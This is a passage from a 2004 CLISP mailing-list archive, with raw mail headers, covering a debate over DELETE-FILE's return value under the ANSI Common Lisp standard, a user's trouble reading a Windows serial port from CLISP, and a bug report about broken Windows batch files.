clisp on win32. The error tripped the time bomb. Sorry for the false alarm. --Jim Amundson From bruno@clisp.org Sun Feb 22 05:45:46 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AutvW-0007Jg-Go for clisp-list@lists.sourceforge.net; Sun, 22 Feb 2004 05:45:46 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AutoT-0000on-Ot for clisp-list@lists.sourceforge.net; Sun, 22 Feb 2004 05:38:29 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i1MDcReD009554; Sun, 22 Feb 2004 14:38:27 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i1MDcOpg009857; Sun, 22 Feb 2004 14:38:26 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id BEEBA178AC; Sun, 22 Feb 2004 13:34:05 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402221434.03288.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 22 05:46:03 2004 X-Original-Date: Sun, 22 Feb 2004 14:34:03 +0100 Sam Steingold wrote: > In ANSI CL, DELETE-FILE is specified to return T on success. > CLISP returns the truename of the deleted file. Looking at CLHS (I don't have a copy of ANSI CL): Where do you read that returning the truename is not allowed? - The overview of the function is "delete-file filespec => t" where "t" refers to the page leaving the choice between the symbol T and the class T. The latter allows any return value. - The description of the function says "delete-file returns true if it succeeds" and "true" means any non-NIL object. - The examples of the function are not relevant, according to CLHS section 1.4.3. Bruno From lisp-clisp-list@m.gmane.org Sun Feb 22 05:52:16 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Auu1o-0000dw-PQ for clisp-list@lists.sourceforge.net; Sun, 22 Feb 2004 05:52:16 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AutkI-00051k-2q for clisp-list@lists.sourceforge.net; Sun, 22 Feb 2004 05:34:10 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1Autuh-0002kH-00 for ; Sun, 22 Feb 2004 14:44:55 +0100 Received: from 216-145-247-180.dls.net ([216.145.247.180]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun Feb 22 13:44:55 2004 Received: from dietz by 216-145-247-180.dls.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun Feb 22 13:44:55 2004 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: "Paul F. Dietz" Lines: 20 Message-ID: References: <200402221434.03288.bruno@clisp.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 216-145-247-180.dls.net User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031210 X-Accept-Language: en-us, en In-Reply-To: <200402221434.03288.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 22 05:53:04 2004 X-Original-Date: Sun, 22 Feb 2004 07:42:38 -0600 Bruno Haible wrote: > - The overview of the function is > > "delete-file filespec => t" > > where "t" refers to the page leaving the choice between the symbol T > and the class T. The latter allows any return value. No, the 't' there refers to a value being returned, not its type. There are plenty of places where the return value is => nil, and the type NIL has no elements. See section 1.4.4.20.4: "An evaluation arrow ``=> '' precedes a list of values to be returned." The types of entities specified in the Syntax section are defined in the 'Arguments and Values' section of a dictionary entry. Paul From pascal@informatimago.com Sun Feb 22 07:17:28 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AuvMG-0001cY-Js for clisp-list@lists.sourceforge.net; Sun, 22 Feb 2004 07:17:28 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Auv4g-0004AT-1C for clisp-list@lists.sourceforge.net; Sun, 22 Feb 2004 06:59:18 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 30C78586E2; Sun, 22 Feb 2004 16:10:05 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 7C6BC45D64; Sun, 22 Feb 2004 16:09:58 +0100 (CET) Message-ID: <16440.50758.395765.119483@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: poll: DELETE-FILE return value In-Reply-To: References: <200402221434.03288.bruno@clisp.org> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 22 07:18:00 2004 X-Original-Date: Sun, 22 Feb 2004 16:09:58 +0100 Paul F. Dietz writes: > Bruno Haible wrote: > > > - The overview of the function is > > > > "delete-file filespec => t" > > > > where "t" refers to the page leaving the choice between the symbol T > > and the class T. The latter allows any return value. > > No, the 't' there refers to a value being returned, not its type. > There are plenty of places where the return value is => nil, and the > type NIL has no elements. > > See section 1.4.4.20.4: "An evaluation arrow ``=> '' precedes a list > of values to be returned." > > The types of entities specified in the Syntax section are defined > in the 'Arguments and Values' section of a dictionary entry. Let's hope the next version of the standard will be more formal, and at least includes signatures for all functions: (declaim (ftype (function (pathname) (member t)) delete-file)) vs. (declaim (ftype (function (pathname) t) delete-file)) -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From sds@gnu.org Sun Feb 22 07:55:17 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Auvwr-0000i7-JE for clisp-list@lists.sourceforge.net; Sun, 22 Feb 2004 07:55:17 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AuvfD-0002VT-BD for clisp-list@lists.sourceforge.net; Sun, 22 Feb 2004 07:37:03 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1Auvpc-00051y-00; Sun, 22 Feb 2004 10:47:48 -0500 To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200402221434.03288.bruno@clisp.org> (Bruno Haible's message of "Sun, 22 Feb 2004 14:34:03 +0100") References: <200402221434.03288.bruno@clisp.org> Mail-Followup-To: Bruno Haible , clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 22 07:56:01 2004 X-Original-Date: Sun, 22 Feb 2004 10:47:47 -0500 > * Bruno Haible [2004-02-22 14:34:03 +0100]: > > Sam Steingold wrote: >> In ANSI CL, DELETE-FILE is specified to return T on success. >> CLISP returns the truename of the deleted file. > > Looking at CLHS (I don't have a copy of ANSI CL): > Where do you read that returning the truename is not allowed? > > - The overview of the function is > > "delete-file filespec => t" > > where "t" refers to the page leaving the choice between the symbol T > and the class T. The latter allows any return value. Actually, everywhere else this overview entry has the _type_ of the value, not the value (or its description). So, you appears to be correct! -- Sam Steingold (http://www.podval.org/~sds) running w2k The only substitute for good manners is fast reflexes. From traverso@posso.dm.unipi.it Sun Feb 22 09:33:30 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AuxTu-0003re-RN for clisp-list@lists.sourceforge.net; Sun, 22 Feb 2004 09:33:30 -0800 Received: from posso.dm.unipi.it ([131.114.72.61] ident=[7PtJC/vzPQGQxmflAOtIPwBn3aMWNU/p]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AuxCA-00021t-O3 for clisp-list@lists.sourceforge.net; Sun, 22 Feb 2004 09:15:10 -0800 Received: (from traverso@localhost) by posso.dm.unipi.it (8.11.6/8.11.6) id i1MHOiu31517; Sun, 22 Feb 2004 18:24:44 +0100 Message-Id: <200402221724.i1MHOiu31517@posso.dm.unipi.it> From: Carlo Traverso To: clisp-list@lists.sourceforge.net CC: bruno@clisp.org, clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Sun, 22 Feb 2004 10:47:47 -0500) Subject: Re: [clisp-list] Re: poll: DELETE-FILE return value Reply-To: traverso@dm.unipi.it References: <200402221434.03288.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 22 09:34:07 2004 X-Original-Date: Sun, 22 Feb 2004 18:24:44 +0100 >>>>> "Sam" == Sam Steingold writes: >> * Bruno Haible [2004-02-22 14:34:03 +0100]: >> >> Sam Steingold wrote: >>> In ANSI CL, DELETE-FILE is specified to return T on success. >>> CLISP returns the truename of the deleted file. >> Looking at CLHS (I don't have a copy of ANSI CL): Where do you >> read that returning the truename is not allowed? >> >> - The overview of the function is >> >> "delete-file filespec => t" >> >> where "t" refers to the page leaving the choice between the >> symbol T and the class T. The latter allows any return value. Sam> Actually, everywhere else this overview entry has the _type_ Sam> of the value, not the value (or its description). So, you Sam> appears to be correct! If the interpretation t = symbol were true, delete-file cannot return NIL. Carlo From driscoll85@comcast.net Sun Feb 22 11:14:49 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Auz3x-0002gl-Lq for clisp-list@lists.sourceforge.net; Sun, 22 Feb 2004 11:14:49 -0800 Received: from rwcrmhc11.comcast.net ([204.127.198.35]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Auywm-0000wx-RT for clisp-list@lists.sourceforge.net; Sun, 22 Feb 2004 11:07:24 -0800 Received: from DH4HPT11 (pcp07846027pcs.wilmsc01.tn.comcast.net[69.138.48.54]) by comcast.net (rwcrmhc11) with SMTP id <2004022219070501300dbluse>; Sun, 22 Feb 2004 19:07:05 +0000 Message-ID: <00f901c3f977$0f7d7310$1002a8c0@DH4HPT11> From: "Joseph Driscoll" To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers Subject: [clisp-list] Serial port access with CLisp and Windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 22 11:15:04 2004 X-Original-Date: Sun, 22 Feb 2004 13:07:04 -0600 Hello, Has anyone successfully been able to use the serial (COM) ports of a Windows machine under CLisp (or some other free Lisp)? I'd need both input and output modes. Is there sample code available? Here's a transcript of what I was trying before. I open and close the stream, just to see if that works. Then I open it again, print a character to it, then try to read from it. But this hangs, and I have to ctrl-c out of it. I'm not certain if the character I sent out is even being sent. I'm pretty sure that the port is really opened, since a separate terminal program (hyperterminal) can't access the port until the "close" instruction is used in CLisp. Note that everything (input and output) works fine if I just use Hyperterminal, so I'm fairly sure that the hardware is working. [9]> (setf sers (open "COM1" :direction :io)) # [10]> (close sers) T [11]> (setf sers (open "COM1" :direction :io)) # [12]> (print 'e sers) E [13]> (read sers) *** - READ: Ctrl-C: User break Break 1 [14]> I posted this question to comp.lang.lisp, and I have received several suggestions. Unfortunately, none of these worked: they always result hanging. I have tried: (let ((v (make-array 10 :fill-pointer 0 :adjustable t :element-type 'character))) (loop :while (listen serial) :do (vector-push-extend (read-char serial) v)) v) (with-output-to-string (s) (loop :while (listen serial) :do (write-char (read-char serial) s))) (with-output-to-string (s) (loop :for c = (read-char-no-hang serial) :while c :do (write-char c s))) Thanks to Sam Steingold, who has sent several replies on this topic, and suggested that I post here. Thanks, Joe From sds@gnu.org Sun Feb 22 11:50:13 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AuzcD-0003DT-0D for clisp-list@lists.sourceforge.net; Sun, 22 Feb 2004 11:50:13 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AuzKM-0005iC-Ac for clisp-list@lists.sourceforge.net; Sun, 22 Feb 2004 11:31:46 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1AuzUz-0004Tf-00; Sun, 22 Feb 2004 14:42:45 -0500 To: clisp-list@lists.sourceforge.net, "Joseph Driscoll" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <00f901c3f977$0f7d7310$1002a8c0@DH4HPT11> (Joseph Driscoll's message of "Sun, 22 Feb 2004 13:07:04 -0600") References: <00f901c3f977$0f7d7310$1002a8c0@DH4HPT11> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Joseph Driscoll" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.1 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email Subject: [clisp-list] Re: Serial port access with CLisp and Windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 22 11:51:01 2004 X-Original-Date: Sun, 22 Feb 2004 14:42:44 -0500 > * Joseph Driscoll [2004-02-22 13:07:04 -0600]: > > # somehow I missed this. CLISP thinks that this is an ordinary text file while this is a special device which should be accessed with specialized functions. I don't know how to make this work. Do you have sample C code? -- Sam Steingold (http://www.podval.org/~sds) running w2k Old Age Comes at a Bad Time. From driscoll85@comcast.net Sun Feb 22 12:44:03 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Av0SI-0006mG-Uj for clisp-list@lists.sourceforge.net; Sun, 22 Feb 2004 12:44:02 -0800 Received: from rwcrmhc11.comcast.net ([204.127.198.35]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Av0AO-00057i-I1 for clisp-list@lists.sourceforge.net; Sun, 22 Feb 2004 12:25:32 -0800 Received: from DH4HPT11 (pcp07846027pcs.wilmsc01.tn.comcast.net[69.138.48.54]) by comcast.net (rwcrmhc11) with SMTP id <2004022220362801300dg02be>; Sun, 22 Feb 2004 20:36:28 +0000 Message-ID: <011c01c3f983$8bedb7f0$1002a8c0@DH4HPT11> From: "Joseph Driscoll" To: References: <00f901c3f977$0f7d7310$1002a8c0@DH4HPT11> Subject: Re: [clisp-list] Re: Serial port access with CLisp and Windows MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Score: 1.9 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 1.1 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 22 12:45:01 2004 X-Original-Date: Sun, 22 Feb 2004 14:36:27 -0600 I've been using hyperterminal (rather than c code) to send/receive info from the device, so I don't have any working code. Someone developed a way to do this in Lisp, and makes available a fasl file. The problem is that it seems to only work with Allegro CL (maybe it uses built-in Allegro support for serial communications, etc.). The problem with just using Allegro is that the free version prohibits its use for university research (that's my goal), so I turned to CLisp since it's much less expensive than Allegro. I do have access to a linux box (Red Hat 9.0, I believe). Would a linux CLisp environment be better for serial communications? Thanks, Joe ----- Original Message ----- From: "Sam Steingold" To: ; "Joseph Driscoll" Sent: Sunday, February 22, 2004 1:42 PM Subject: [clisp-list] Re: Serial port access with CLisp and Windows > > * Joseph Driscoll [2004-02-22 13:07:04 -0600]: > > > > # > > somehow I missed this. > CLISP thinks that this is an ordinary text file while this is a special > device which should be accessed with specialized functions. > I don't know how to make this work. > Do you have sample C code? > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Old Age Comes at a Bad Time. > > > ------------------------------------------------------- > SF.Net is sponsored by: Speed Start Your Linux Apps Now. > Build and deploy apps & Web services for Linux with > a free DVD software kit from IBM. Click Now! > http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From sds@gnu.org Sun Feb 22 12:57:23 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Av0fC-0008QV-NP for clisp-list@lists.sourceforge.net; Sun, 22 Feb 2004 12:57:22 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Av0NH-0006sA-Mv for clisp-list@lists.sourceforge.net; Sun, 22 Feb 2004 12:38:51 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1Av0Xx-0004IC-00; Sun, 22 Feb 2004 15:49:53 -0500 To: clisp-list@lists.sourceforge.net, "Joseph Driscoll" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <011c01c3f983$8bedb7f0$1002a8c0@DH4HPT11> (Joseph Driscoll's message of "Sun, 22 Feb 2004 14:36:27 -0600") References: <00f901c3f977$0f7d7310$1002a8c0@DH4HPT11> <011c01c3f983$8bedb7f0$1002a8c0@DH4HPT11> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Joseph Driscoll" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.1 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email Subject: [clisp-list] Re: Serial port access with CLisp and Windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 22 12:58:01 2004 X-Original-Date: Sun, 22 Feb 2004 15:49:52 -0500 > * Joseph Driscoll [2004-02-22 14:36:27 -0600]: > > I do have access to a linux box (Red Hat 9.0, I believe). Would a linux > CLisp environment be better for serial communications? dunno. why don't you try it? -- Sam Steingold (http://www.podval.org/~sds) running w2k Cannot handle the fatal error due to a fatal error in the fatal error handler. From kriewall@u.washington.edu Sun Feb 22 21:37:34 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Av8mc-0002LC-J3 for clisp-list@lists.sourceforge.net; Sun, 22 Feb 2004 21:37:34 -0800 Received: from mxout4.cac.washington.edu ([140.142.33.19]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1Av8f8-0002fH-OG for clisp-list@lists.sourceforge.net; Sun, 22 Feb 2004 21:29:50 -0800 Received: from dante58.u.washington.edu (dante58.u.washington.edu [140.142.15.108]) by mxout4.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1N5Tnwd027175 for ; Sun, 22 Feb 2004 21:29:49 -0800 Received: from localhost (kriewall@localhost) by dante58.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1N5TnM4035662 for ; Sun, 22 Feb 2004 21:29:49 -0800 From: "T. Kriewall" To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Batch file bug report Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 22 21:38:01 2004 X-Original-Date: Sun, 22 Feb 2004 21:29:49 -0800 (PST) I think this falls under 'bug report', although it's pretty minor. It would be nice if the install.bat file were functional as you download it from Sourceforge. Once I figured out that I actually had to *run* the batch file (as opposed to just executing lisp.exe and having it work properly), it was unable to execute until I fixed the following problems: 1. The pipe symbols (|) used to form the pretty banner at the head of the batch file actually act as pipes and cause the batch file to halt. 2. Half the slashes used as subdirectory delimiters are back slashes (correct) and the other half are forward slashes (incorrect). The same sorts of problems crop up in the clisp.bat file. Both look and function like hasty ports from a unix system. Nothing that can't be quickly fixed, but mildly annoying and perhaps a preview of what's to come? Hope not. Tom K. From bruno@clisp.org Mon Feb 23 05:46:38 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AvGPu-0000Zl-9Q for clisp-list@lists.sourceforge.net; Mon, 23 Feb 2004 05:46:38 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AvG6y-0001QL-UT for clisp-list@lists.sourceforge.net; Mon, 23 Feb 2004 05:27:05 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i1NDcfCu029420 for ; Mon, 23 Feb 2004 14:38:41 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i1NDcepg003076; Mon, 23 Feb 2004 14:38:40 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 6D0A81865D; Mon, 23 Feb 2004 13:34:20 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402231434.19221.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 23 05:47:05 2004 X-Original-Date: Mon, 23 Feb 2004 14:34:19 +0100 Marco Antoniotti wrote: >>> Return T and the truename as a 